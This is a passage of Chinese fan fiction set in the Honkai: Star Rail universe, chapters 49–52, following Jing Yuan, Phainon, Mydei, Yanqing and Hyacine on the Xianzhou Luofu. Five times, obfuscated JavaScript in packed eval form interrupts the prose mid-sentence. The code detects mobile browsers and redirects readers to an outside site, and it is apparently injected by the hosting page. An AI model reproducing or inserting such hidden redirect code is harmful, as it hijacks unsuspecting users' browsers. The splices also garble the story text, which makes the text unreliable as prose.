“很早,”只有景元认真地回答着问题,“按照刚刚白厄阁下所说的时间来看,他回到仙舟不久,便已经褪鳞转生——按仙舟法律,褪鳞转生者不会再被视作同一人,也就是持明意义上的……死亡,至于前代龙尊转生缘由,其间缘由涉及仙舟机密,请恕景元不便明说。” “……原来持明龙尊,也会死去啊。” 又是良久的沉默,许久之后,萨玛兰妲叹息般的话语才再度传出。 凡此种种千二百年,沧海尽,桑田陨,时光有如白驹过隙,忽然而已,可仙舟仍然还是仙舟,那时的明月仍然照下今时的月光。 “说笑了,”景元脸上笑容不变,“一切生命皆有尽头,无尽形寿不过虚妄,纵使是持明龙尊,亦或是仙舟将军,谁都不能免俗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119709|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 谁都会死,不朽的后裔会死,仙舟的将军会死,因一个承诺绵延至今的非人生物也会死,死亡是一切的终点,死亡是最后的公平。 “无尽形寿不过虚妄。”萨玛兰妲慢慢地重复,她似乎想起什么,突然又说。 “我有些话想单独和这位将军说。” 现在不是她偷看记忆的时候了,白厄想,这蘑菇怎么在隐私方面如此双标,但他看了一眼景元,景元对他点了点头,他还是决定尊重一下萨玛兰妲,他和万敌悄无声息地离开了房间,房门关上,景元的笑容很快消失不见。 “那位龙尊有没有和你说过仙舟对登记在册的丰饶令使的处理方式?”他淡淡地问。 “就是知道,我才来找你们的呀。”萨玛兰妲说,她的声音也冷淡下来,“扶桑是登记在册的丰饶令使,仙舟对祂的态度始终如一,那就是诛杀丰饶孽物……斩无赦,君子一诺重于千金,萨玛兰妲不是什么君子,可他心存善念保全我们,我也自然不会让他为难,千年时光,方跃星终于可以不再依托扶桑血肉生存,现在,到我履行承诺的时候了。” “我承诺过,当一切尘埃落定,我会再来仙舟,而那时的仙舟,无论是哪位将军掌权,都一定会助我诛杀扶桑。” “你是你,还是扶桑?” “两个都是。”萨玛兰妲爽快地承认道,“那位令使已经做了不少工作了,你们有时间来收个尾就好……不过要尽快,毕竟蘑菇形态的丰饶令使可不好对付,你们来的太晚的话,萨玛兰妲可没法保证自己还是萨玛兰妲。” “丰饶令使大多呈现植物形态,因为植物形态易活而难杀,倏忽曾经是棵树,扶桑现在是株蘑菇……将军,您不会希望扶桑完全醒来的。” “提出你的条件。”景元直白地说。 “不要动我的孩子们,”萨玛兰妲同样不绕弯子,“方跃星通过根系相连,扶桑可以引颈就戮,但方跃星的孩子们体内同样有扶桑的力量,倘若一切正常进行,那些力量永远不会再度醒来,但如果仙舟真的执意大行杀戮之事——我不能保证扶桑会不会受到什么刺激再次醒来……也许是以完全体形态归来。” “但我还是想问,为什么?”景元问,“你明明还能有更长的寿命,如果你不是自己主动暴露,以你的手段,仙舟不一定会发现你。” “答案您不是已经说过了吗?”萨玛兰妲笑笑,“无尽形寿不过虚妄,扶桑是不知活过多久的丰饶令使,可萨玛兰妲只是蘑菇而已……将军,你也是长生种,我且问你,长生难道是件全无危害的好事?” “若是全无危害,仙舟就不会追杀丰饶孽物。”景元沉吟,“我会答应你,除扶桑之外,我们将对方跃星秋毫无犯——毕竟仙舟并非嗜杀之辈,况且我们也不希望扶桑再次醒来,若是能减少损失,对你我都有好处。” “还有一件事,”萨玛兰妲说,“别让那个毁灭令使知道他所毁灭的究竟是什么。” “从利益或是情感角度,我都不会这样做,”景元说,“但你为什么不想告诉他?心存恻隐之心?” “因为我们行于异路却将殊途同归,何苦给他徒增负担?每个世界都有自己的命运,方跃星是萨玛兰妲的因果,萨玛兰妲会自行解决,他不过是出手相助,实际动手的仍然是萨玛兰妲自己。”萨玛兰妲说,“既然这样,萨玛兰妲垂死之际,为何又要给他增加不必要的心理负担?萨玛兰妲赐福于他,便是赐福于当年行于长路的自己……这个秘密会随着萨玛兰妲的死去深埋根系,再也不会有第三个人知道了……你说是吧,将军?” “景元不是多话的人。”景元说。 “那就好……事情谈完了,也该到闲聊时间了,”萨玛兰妲轻松地说,“方便给我找一张仙舟月亮的照片吗?龙尊和我提起过很多次。” “关于仙舟的月亮,他那时说过什么吗?”景元问。 “他说,人生代代,江月年年,长生种和短生种的生命终有尽头,唯有江月永远是江月。” “不过如此。” 49. 大人满脑子算计 关于景元和萨玛兰妲之间的谈话内容,景元并未多说,白厄和万敌也便没有追问,将信物送还之后,虽然对开拓者曾经说过的“罗浮的晚风”多有好奇,但他总觉得一个毁灭的令使在仙舟到处乱转,似乎实在不太礼貌。 “我打算一会就回去,你的行程呢?”白厄问,“你在仙舟行动要比我方便不少,好不容易来一趟,到处转转也挺好。” “我都可以,”万敌说,“我本来也只是想在仙舟中转,早一天晚一天离开对我并无太大差别……” “不过就算要离开,似乎也该和那位仙舟将军辞行,”白厄唔了一声思考道,“毕竟他最开始来见我们的目的不就是监视……但是也能理解,毕竟换位思考一下的话,我也会做出相同的选择。” 万敌倒是不置可否,白厄便找景元辞行,可出乎他的意料,景元听完他的话,看上去竟似乎大大地吃了一惊。 “贵客何必如此匆忙?”景元神色关切,“莫非是罗浮哪里怠慢了两位?” “并非怠慢,”白厄认真地说,“只是来到仙舟本就是受人所托,现在事情做完,我还有工作在身,这次出来也是临时请假,事情办完自然该及时回去。” “工作?”景元倒似乎起了好奇心,“具体什么样的工作,景元可否一问?” “货运舰护卫。”白厄说。 景元:“……” 这位罗浮将军一直完美的表情第一次出现了一点裂痕,他看上去有点不可思议,但他很快反应过来,重新温和地微笑,“能雇佣阁下,想必他们出资不菲。” “没有。”白厄说。 “货运舰护卫难道是什么暗藏玄机的职位?”景元无奈又疑惑地笑了一声,“既然有工作在身,我也不好强留,但两位毕竟初来仙舟,还是希望两位能到处走走,感受一下我仙舟的风土人情……可惜我今天同样琐事缠身,实在没法再为两位贵客作陪,不过这位是云骑军骁卫彦卿,同样熟知罗浮的风土人情,有他带二位贵客闲逛,相信也能让二位不虚此行。” 伴随着他的话声,一个过分年轻的少年走了出来,他看上去年岁不大,行动举止却稳重成熟——但他看向白厄和万敌的眼神中,仍然有着掩盖不住的好奇之色。 “至于时间问题,不必担心,仙舟处设有星槎直达特快,比之两位来时的普通星槎,应该能省下不少时间。” “不了,有点贵。”白厄诚恳地说。 景元:“……” 这辈子没为钱发过愁的罗浮将军下意识地摸了摸下巴,他看向白厄的眼神里几乎带了点真挚的同情。“这倒无需担忧,”他顿了一下,不以为意,“两位是仙舟的贵客,又是开拓者的朋友,对朋友自然应当有待客之道,车票之事实在不值一提,还望两位不要匆匆离去,仙舟也想尽地主之谊。” 如此热情实在不像虚情假意,白厄算了算时间,若是乘坐星槎特快,似乎也确实能在仙舟转上一天,想到这里,他便点了点头,那位名叫彦卿的少年轻车熟路,待望向景元含笑的眼神时,他便沉稳地一抬手。 “二位这边请。” 片刻之后,神策府内再次寂然无声。 “将军。”有人开口。 景元按了按额角,声音仍然温和。 “是符卿啊,有何指教?” “那就是……那枚烬灭金血?”符玄的眼神盯着白厄和万敌离开的方向,沉声问道。 “这说法未免有些失礼,”景元笑道,“那是位特殊的毁灭令使……可不是什么金血成精。” “穷观阵卜算向来只看本质,”符玄直言不讳,“将军,我不信您看不出,他现在的状态很奇特。” “但只要对仙舟没有恶意,仙舟便应当以礼相待,”景元失笑,“不然我罗浮如何自处?” “我还以为将军那时大张旗鼓举兵翁法罗斯是为了以毁灭的金血淬洗巡猎的锋镝,”符玄又说,“大战结束后,本以为将军会向星穹列车讨要那枚金血,毕竟那东西含着毁灭的力量,又源自那位烬灭祸祖,无论是星穹列车,还是当时的翁法罗斯,似乎都没能力保住那东西。” “符卿啊……” 景元拉长了声音,懒洋洋地说,“罗浮仙舟向来讲究等价交换,一枚蕴含着令使级别力量的信物,无论它的归属人对其态度究竟如何,仙舟都需给出相应的报偿,令使对令使——真要向星穹列车和翁法罗斯讨要此物,罗浮难道能拿出将军职位以作交换?” “当然,我倒是不怎么介意。”看着一时语塞的符玄,景元慢悠悠地调侃,旋即正色。 “而倘若拿不出与之对应的交换之物,那便是强取豪夺——罗浮亦有罗浮的骄傲,强取豪夺之事,景元实在不屑为之。” “又何况,寰宇环境复杂,翁法罗斯又因之前一战被动地成为众矢之的,倘或没有足以拱卫自己的力量,新升格的星球又如何自立群星?符卿,有句话你比我明白得多。” 符玄沉思不语,她似乎也想到了什么。景元的手划过面前的书,认认真真地念道。 “天之道,损有余而补不足;人之道,损不足而奉有余。新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119710|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的星球对仙舟来说仿若稚童,这世间哪里有成年人从稚童手中抢钱的道理?” “可稚子怀金过市,岂有不为人知。”符玄说,“若是那时帮忙保存金血,亦是仙舟好意。” “保不保得住,是他们的事,若是翁法罗斯有求,仙舟自当出手相助……可他们并没有说,想来翁法罗斯也有自己的傲骨,既如此,仙舟的所谓‘帮助’,未尝不是一种傲慢。”景元缓缓地说,随即轻松一笑,“而且答案你不是已经看到了?” “但那毕竟是毁灭……”符玄皱眉。 “丹轮寺僧人与仙舟民享有同等权利,评判人时总不能只看他行于哪条命途,纵使是丰饶信徒,同样有正常的丰饶赐福者和不择手段的丰饶民——一事一议,何况我刚刚与那少年同行,彼此之间也算稍有了解,再说了,退一万步来说,难道星穹列车的人品,你还信不过?” “我倒是信得过。”符玄悻悻地说,但转念一想,她又有了新的问题。 “行于毁灭的命途上又成为令使……他总得毁灭些什么,可穷观阵卜算时,结果却相当奇特——先是十死无生,又是置之死地而后生的卦象,敢问将军,是否有什么细节仍藏于卦象之中?” “答案一开始已经昭然若揭,”景元说,“我称呼他为毁灭令使而非绝灭大君也正是这个原因,实际上他并非传统意义上的绝灭大君,他行于毁灭道路,却抗拒烬灭祸祖……翁法罗斯升格之时,我也曾得到线报,一场巨大的席卷整个星系的火焰——这多半便对应那十死无生的卦象,而置之死地而后生嘛……” 景元轻笑了一声,向后一仰。 “翁法罗斯究竟有几个令使……难说。” “恐怕不止这些吧,将军。”符玄仍然紧皱眉头,自言自语,“就算是有另一个令使,穷观阵的卜算结果也不至于如此奇怪……” “现在还是先解决眼前的麻烦吧,”景元的手拂过面前的简报,“扶桑于失踪千年后再度降世,虽然祂的态度似乎是愿意束手就擒,可在这件事上,我们还得多做打算……” 他敲了敲桌子,似乎想到什么,又笑了一声。 “不知彦卿他们玩的怎么样了。” “将军,”符玄问,“难道您派出彦卿,没什么别的目的?” “目的?”景元一摊手,坦诚道,“一举两得,宾主尽欢,怎么不是目的?” “符卿啊,凡事需从长计议。”见符玄未曾答话,景元又笑。 “一个可能交好的毁灭毁灭的令使,可比烬灭金血有价值多了。” 50. 三百一个五百俩 彦卿年少却沉稳,他只是静默地跟在万敌和白厄身边,偶尔见他们对什么好奇,便稍微介绍两句。 “两位随意便好,无需拘束,”他说,“将军称二位为贵客,彦卿自当以礼相待,将军还说,若是两位玩得不尽兴,可要拿我是问。” 这是句友善的玩笑话,白厄也知道,于是他们笑笑没做声。万敌看向附近的比武场,而白厄在清玩斋门外拿起了一个花瓶。 “这地方也有地摊?”他纳罕。 “贵客好眼力,”一旁的老板说,他滔滔不绝,口若悬河,将那东西吹得天上有地上无,“此物可不是凡物,昔年仙舟丰饶孽物作祟,帝弓司命箭裂长空,那一箭如流星破空,惊得是四座叫好……” “你们的帝弓司命动手之前还有人在旁边围观?”白厄感到相当不可思议,“仙舟人体质真好。” “咳……这倒不是……” “一派胡言。”彦卿说,他认真地看向白厄,“阁下,别听他胡说。” “没关系,我还挺感兴趣,”白厄摇摇头,他指了指手中的花瓶,“那请问这帝弓司命的一箭,和这花瓶有什么关系?” “客人当真好眼力,”摊贩滔滔不绝,“这花瓶是难得的古物,帝弓司命一箭破空后,您猜怎的,那星辰落世,竟化作难得的稀世材料,又经工匠悉心打造,千锤百炼,才有了这个……咳,花瓶。” “真是好大的来头,”白厄诚恳道,“可这落款是怎么回事?” “什么落款?”彦卿好奇道。 “星历8107年1月。”白厄无辜一指,“按时间来看,好像是上周的。” 彦卿:“……” 万敌:“……” “这……咳,这您可是有所不知,”短暂的尴尬后,这老板竟能面不改色地说下去,“帝弓司命的光矢横贯古今,是先有这花瓶的果,才有帝弓司命那一箭的因……” “你是说帝弓司命射了一箭就为了个花瓶?”白厄瞪大了眼睛。 “他真的很努力。”万敌赞叹道。 现在三人都知道这位老板的底细,可他在这三人的注视下竟还能侃侃而谈信口胡诌,白厄不得不感慨仙舟真是人才辈出,只有彦卿看上去越来越生气。 “试问阁下,这是你的摊位吗?”彦卿的眼睛一眨不眨地盯着他,“据我所知,这里的老板名为泊阳,和您的人物比对信息似乎不甚相符。” “这……这个嘛,”那老板爽朗笑道,“我这人长得人山人海,时常过不了各种人脸核查。” “桑博!” 远远的,有含着怒气的声音响起,那摊贩见大事不妙,竟就地一滚,消失了个彻彻底底。 “你……” 彦卿还没来得及说什么,就被这摊贩灵活的身法惊了一惊,他下意识地想要去追,又想起这人实际没犯什么错,只得停在原地。 “这是您的摊位?”看着匆匆赶来的泊阳,他语气不善。 “是……是啊,出什么事了吗?”泊阳一无所知地挠了挠头,“那人叫桑博,起先说只要在我门外支个摊,就能帮我把这些东西卖个好价钱,我问他图什么,他说什么都不图,平生最爱讲故事,刚刚我在那边喝茶,远远地瞧见您在这里,怕他和您说些什么,便匆匆过来了。” “那这个花瓶……”白厄试探着问。 “这个啊,”泊阳随口说,“刚到货的工艺品,价值三百信用点,两个五百,包星际邮费。” 跟刚刚帝弓司命的排场真是大相径庭,这可怜的花瓶也不知道自己在前几分钟短暂地曾和帝弓司命沾亲带故,现如今竟沦为了三百一个五百两个的普通工艺品,实在令人慨叹。 彦卿的脸有点红。 “阁下,这并非仙舟常态……” “嗯,我知道。”白厄笑着说,“我只是觉得很有趣,我还挺喜欢鉴宝的……不过翁法罗斯的鉴宝经验,似乎不能带到仙舟来。我还应该多加学习。” “原来贵客来自翁法罗斯……”彦卿好奇,“听说那是颗新出现的星体,之前那星体上原本没有生命,可某天过后,那里居然一夜之间不仅产生了生命,还产生了文明…… 这少年思索着垂眸,“简直像是从什么地方复制粘贴的文明一样。” “你去过翁法罗斯吗?”万敌突然问道。 “还没有,”彦卿说,“虽说我确实有点好奇,可星系路途确实不算太近,云骑骁卫无特殊情况不得擅离职守……但我倒是听说过不少关于那里的传言,真真假假,也未可知,若有时间,我会亲自一去。 “你若是哪天真的来翁法罗斯,可以来找我。”万敌说,“我可以带你到处转转。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119711|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “彦卿却之不恭。”彦卿认真地点了点头,并未客套,他相当爽快地应下了这邀约,可当他一回头,看见白厄已经转移了目标——他正对着幅仙舟古画研究。 “好笔法,”白厄啧啧称奇,他甚至随手拿起了一旁的放大镜,“这画似乎很……寂寥?” “天与云与山与水,上下一白。”那摊贩介绍,“《落雪图》,仿制工艺品。客人要是喜欢,不妨带一幅回去——也不贵。” “这竟是仿制品吗?”白厄问道,“我还以为这东西是古玩。” “不古不古,”泊阳笑道,“也就一千五百年,三代人而已。” 白厄:“……” 和刚刚那位上周花瓶真是两个极端,他沉默地把“不古不古”拿到了手里。 “阁下,我仍有一事好奇。” 几人又闲逛了半天,白厄和万敌手上拿着满满的东西——万敌对这里的兵器兴趣很大,而白厄实在受不住古玩宝藏的诱惑,虽说大多数他都买不起,可小工艺品他买了一堆。而满载而归后,跟在他们身后的彦卿思考了许久,还是问出了个问题。 “什么?”白厄好奇——他其实早就看出彦卿有点问题想问他,但对方没说,他又不好随意开口,这时彦卿一问,他倒松了口气——一直憋着多不好,他想。 “我自幼习剑,学的是飞剑,飞剑之术,轻而快,薄而利,与阁下的大剑截然不同,”彦卿说,“阁下若不介意,可否让我仔细观看一下你的剑?” 剑士的剑通常并不离身,但白厄和万敌经过和彦卿的大半天相处,对这直白的孩子也有了不少好感,于是他爽快地解下了剑,递给了彦卿。 彦卿双手接过,认真地看了半晌,末了,他似乎下定了很大决心。 “阁下,以后若有机会,我想与你在剑术上一较高下,”他认真地说,“如此重剑,和我的攻击方法想必截然不同,若是能与阁下切磋比试,彦卿想必会受益匪浅。” “我的剑不敢对人。”闻言,白厄确是笑着摇了摇头。 他没说谎,除非生死相搏,他现在实在不敢以剑对人,黄金裔汩汩的鲜血与悲痛的哀嚎,都将随着剑锋出鞘一并回响在他耳边,听得此言,彦卿却微怔,而后郑重地将白厄大剑交还。 “阁下力量超群却能审慎而行,实为正道。”彦卿说。 51. 哈哈 两人正说着话,白厄的手机突然响了一声。 他不由得失笑,心想最近找他的人还挺多——统共也没几个人知道他的通讯号,点开手机一看,开拓者的消息急于星火,白厄甚至疑心开拓者整个人要从他的屏幕里跳出来。 【开拓者】:搭档搭档搭档,到了吗到了吗到了吗? “我也收到了。”万敌简短地说,“是开拓者给你发的消息吗?” 白厄看了一眼万敌伸过来的屏幕。 【开拓者】:万敌万敌万敌,到仙舟了吗到仙舟了吗? “是老师?”听到“开拓者”三个字,沉稳的彦卿像被按下了什么机关,眼睛都亮了起来,“是那位星穹列车的开拓者吗?” “我已经不想问为什么搭档谁都认识这种话了。”白厄扶额。 万敌深有同感地点了点头。 “不过你为什么要叫搭档老师?”白厄好奇道,“他在仙舟当老师吗?” “并非如此。”短暂的兴奋后,彦卿重新恢复了那副沉稳的模样,“景元将军曾拜托他有空与我多多切磋,三人行,必有我师焉,故而我称他为老师——老师也的确教导了我很多。” “不愧是搭档。”白厄点头,但几分钟内,他手机上的语音消息接文字消息一条接一条地冒了出来——彻底打碎了三人口中开拓者的沉稳滤镜。 【开拓者】:人呢人呢人呢?不会是你俩被抓了吧?你等我现在就去捞你们。 【开拓者】:罪名是什么啊?没听说仙舟不穿上衣会定罪啊? “说你呢。”白厄调侃。 万敌:“……” 可还没等他笑完,开拓者的下一条语音消息又发了过来。 【开拓者】:仙舟也没有服饰礼仪啊,你就算穿着你审美奇怪的衣服进去应该也没事,白厄白厄你没事吧你再不回消息我去要找将军了。 【开拓者】:要去。 白厄:“……” 【白厄】:搭档,停。 【开拓者】:太好了,终于回消息了。我还以为你俩被我传染了某种只要登上新星球就会被抓的奇怪特性,万敌没被抓吧? 万敌:“……” “替我谢谢他的关心。”他咬牙切齿。 “老师他……”彦卿看了看两个拿着手机面色各异的天外来客,还是决定替自己跳脱的老师说两句好话,可说什么呢?他想了想,还是绞尽脑汁,挤出了几句体面话。 “老师向来喜怒直出胸臆,是个难得的……直爽人。” “没关系,搭档的性格我们都知道。”白厄摆了摆手,景元所说“为尊者讳”,白厄同样深以为然,如果不是开拓者发的是语音消息,他同样想在这位云骑骁卫面前保全搭档形象,可看彦卿反应,想必搭档的性格,罗浮仙舟同样一清二楚。 想到这,他在心里暗暗叹了口气,表面依然云淡风轻。 “搭档性格率直,人又善良热心。”他微笑着说,“无论是我的家乡,亦或是我个人,对搭档本人,或是星穹列车上的诸位,都抱持着相当的感激之心。” 三人郑重间,开拓者的下一条语音消息就这么水灵灵地弹了出来。 【开拓者】:替我看看仙舟的垃圾桶安否。 “这难道是……什么黑话?”彦卿不确定地左右四顾,“老师他……是想提醒我们什么吗?” “他也可能只是想翻垃圾桶了。”白厄小声说,接着,他小心翼翼地,偷偷摸摸地输入了几条消息。 【白厄】:搭档,别说了…… 【白厄】:我们正和那位叫你老师的云骑骁卫在一起…… 【白厄】:刚刚你发的语音大家都听到了…… 消息声静了下来,好半天,才又有消息声响起。 【开拓者】:彦卿? 【开拓者】:哈哈,大家都在啊。 【开拓者】:大家吃好,喝好,玩好哈。 【开拓者】:开拓者丹恒三月星期日杨叔姬子帕姆黑天鹅向大家问好。 【开拓者】:djshxnkshnsjd*йзΛΙ 【开拓者】:丢脸也不要带上本姑娘啊你这家伙! 三人沉默对望,半晌无言,好半天,彦卿按了按额角,叹了口气,无力地小声辩驳道。 “仙舟不随便抓人的……” ……也不知道他究竟在和谁辩驳。 “他就是……开个玩笑。”白厄试图劝慰。 “……我知道。”彦卿说。 三人你看看我,我看看你,不约而同地叹了口气。此时罗浮正值黄昏,无论白昼还是黑夜,仙舟总是如此热闹,白厄的鼻子动了动,他嗅到熟悉的味道。 “罗浮的晚风。”他喃喃道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119712|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗅觉带来的记忆是最长久的记忆,好比闻到青麦与土地的芬芳,白厄就会想起哀丽秘榭,此时那瓶被开拓者叫做“罗浮的晚风”的罐头在此刻发挥了它真正的价值——对于白厄来说那并不是智商税,而是他对于真实的世界的第一份罐装体验,此时真正到访罗浮,看着熙熙攘攘的人群,往来行走吆喝的贩夫走卒,他才突然惊觉,原来,在距离翁法罗斯如此遥远的星系中,有这样热闹的世界,和…… “白宝,敌宝!”他突然听到熟悉的声音,回头一看,粉发的娇小少女正在对他们使劲挥手,身旁的彩虹色小马滴滴嘟嘟,听上去相当兴奋。风堇扑了上来,使劲抱住了两人。 “好巧!能在这里见到你们真是太好了。”她说。 “风堇小姐?”彦卿疑惑,“各位难道认识?” “是呀,”风堇似乎也认识彦卿,短暂的激动后,她很快镇定下来,轻车熟路地介绍。 “这两位是我的伙伴,白厄和万敌,这位是云骑军骁卫彦卿……不过看起来,各位已经认识啦?” “真是人生何处不相逢。”彦卿感慨,“竟会有这样的巧事。” 白厄默默地把自己那句人生何处不认识咽了下去。他就知道波提欧的名人名言一句都不能听。 “难得能在这里相见,”风堇说,她倒没注意到白厄复杂的心思,“不如我们去附近坐一坐,我知道一家很好喝的奶茶店!” 小伊卡滴嘟两声。 “那个,我提前问一下。”白厄小心翼翼,“这东西应该没什么副作用吧?比如让人说一些乱七八糟的话……” “又比如让人一觉睡过去……”万敌补充。 “没有啊?”风堇疑惑摇头,“两位阁下怎么会这么想?” 白厄:“哈哈。” 万敌:“哈哈。” “既然是几位相聚,彦卿便不多打扰,一会晚间,彦卿还有公务在身,诸位,暂且告辞。”彦卿见几人相聚,礼貌地行了个礼,他拒绝了风堇的再三邀请,竟然真的就这样消失在几人面前。 “他们未免太放心了……”白厄说。 “放心还不是好事?”风堇笑了笑,随即沉下脸去。 “不过说起来,敌宝还好……但是白厄阁下,这几年你到底怎么样,过一会儿你可得和我……” “好好说个明白。” 52. 你也在痛苦 其实白厄有点害怕沉下脸的风堇——虽然就这一点而言,风堇本人并不知情。 昏光庭院的首席医师总会用最乐观开朗的笑容面对她的病人,可病人们不可能人人听话乖巧,白厄曾在某次受伤后瞒着风堇偷偷跑回前线,而当他再次拖着疲惫受伤的身体勉强地回到昏光庭院时,风堇的表情和现在别无二致。 “白厄阁下,您的伤口裂开了。”风堇难得冷淡地说。 白厄当时被她这一声称呼吓得一激灵。 风堇心情好的时候常常白宝敌宝地叫,大多数时候她在病人面前展现的都是最开朗乐观的模样,但当她真的严肃认真地叫你阁下的时候,你最好认真地考虑一下到底哪里得罪了她——多数时候她生气的原因都是伤患病号一个两个不顾伤势喊着我要上前线到处乱跑,白厄和万敌又实在算是其中常客——不死不代表不会受伤,他看了一眼身边的万敌,发现他的表情也有点不自然。 不自然是正常的,风堇凶起来的时候,连那刻夏老师也要乖乖就范,何况他们俩。 好在风堇的脸色只沉下来一瞬,随即又恢复了往日的笑颜,“我开玩笑的,”她笑容明媚,“怎么样?被吓到了吧?” 小伊卡嘀嘟了两声。 “确实被吓了一跳,”白厄说,他暂时松了口气,又奇怪道,“风堇居然会在仙舟吗?我还以为你会留在翁法罗斯。” “我们进去说吧。”风堇说。 奶茶上桌,白厄和万敌你看看我,我看看你,谁也不敢动,风堇喝了两口,发现面前两位男士的奶茶居然连吸管都没插,她不由得心生好奇。 “是不喜欢这个口味?”风堇疑惑,“我可以再点其他口味。” “和口味没关系,只是……” 只是…… 两人面面相觑,十分为难。 “你先喝。”白厄说。 “喝就喝。”万敌说。 话虽然这么说,但他们两个还是一动不动。见两人望着桌上的奶茶陷入沉思,风堇也放弃了劝说的心思,她又灌了两口奶茶,很快进入正题。 “白宝。”风堇伸出手,“我前两天听那刻夏老师无意间提起过你的情况……方便把你在阿特拉斯的电子病例和医疗处方给我一份吗?我怀疑那刻夏老师那时候给我传错文件了。” 虽然问的是方不方便,但风堇似乎并没有留给白厄拒绝的余地,白厄左看看右看看,惊觉自己在这家奶茶店里似乎失去了同盟——万敌和风堇在短短的时间里已经达成了共识,此刻万敌正一脸不善地看着他,看上去如果他不乖乖就范,下一刻这两个人就要联合起来硬抢了。 堂堂毁灭令使怎可屈居人下!我难道是这么软弱的人吗? 看人真准,还真是。 白厄心虚地左右瞟瞟,还是乖乖地把电子病历发给了风堇——一共两份,一份是身体检查报告,一份是心理检查报告,风堇打开第一份文档看了半天,眉头越皱越紧。 “白厄阁下,你的身体检查报告结果出来之后,你看过吗?” “我看不懂。”白厄坦诚。 真的看不懂,即使有联觉信标,他也看不懂那些专业的医学术语和其上密密麻麻的红色箭头,何况那时候他做检查也只是为了那刻夏老师的嘱托,所以收到这份报告后他只是草草地看了一眼,就径直传给了那刻夏老师。 风堇不说话了,她认认真真地、上上下下地看,奶茶也被她放在了一边,小伊卡在她身边焦急地嘀嘟几声,她也只是安抚地摸了摸小小的天马,她简直要把白厄的身体报告盯出个洞,看了大约半个系统时,风堇似乎终于看完了,接着,她冷酷无情地、不讲情面地收走了白厄刚刚下定决心尝一口的奶茶。 “白厄阁下,”她温和又冷淡地说,“您恐怕喝不了这个。” “他怎么样?”万敌关心道。 白厄欲哭无泪,现在不光叫他白厄阁下,甚至还开始用敬语了,风堇似乎是真的生气了,风堇又上上下下地翻了翻,轻描淡写。 “没什么大事,阿特拉斯的设备对于完全的人形生物来说可能不太准确——仙舟的设备准确度会更高一点,而且出结果会很快,白厄阁下,现在和我去做个检查,可以吗?” 虽然仍然在温和地询问,但风堇脸上的表情严肃又郑重,白厄从来不敢在这样的风堇面前多说一句话,于是在进入奶茶店半小时后,白厄又被她和万敌半拖半拉地拉了出来。他敏锐地察觉到风堇似乎不是一般的焦虑,她甚至没来得及叙旧就匆匆地把他塞进某处不起眼却别有洞天的小建筑中,和前台工作人员说了两句后,他便被稀里糊涂地拉去做了一堆检查。 “劳驾……”他晕头转向,有气无力,“可以不做抽血检查吗?” “哦,可以。”工作人员倒是习以为常,“有些人体质特殊,确实没办法做抽血检查,其他几项的结果同样能佐证您的身体状况——等半个系统时就好。” 从南跑到北,从北跑到南,乱七八糟的连白厄也叫不上名的检查结束后,他便出门去找他的两位同伴,仙舟设有单独的等待室,当他走进等待室时,他看见风堇仍然坐在那里沉思,手里似乎还是他的那份报告,而旁边的万敌表情有些严肃––当然,他平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119713|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时不笑的时候一直是这个表情。叮的一声,报告顺着等待室的打印机打印了出来——仙舟在一些地方总是有莫名其妙的执着,比如纸质打印,白厄还没来得及动,风堇便一路小跑着跑了过去,看了两眼,似乎大大地松了口气,温和的笑容又重新回到了她的脸上。 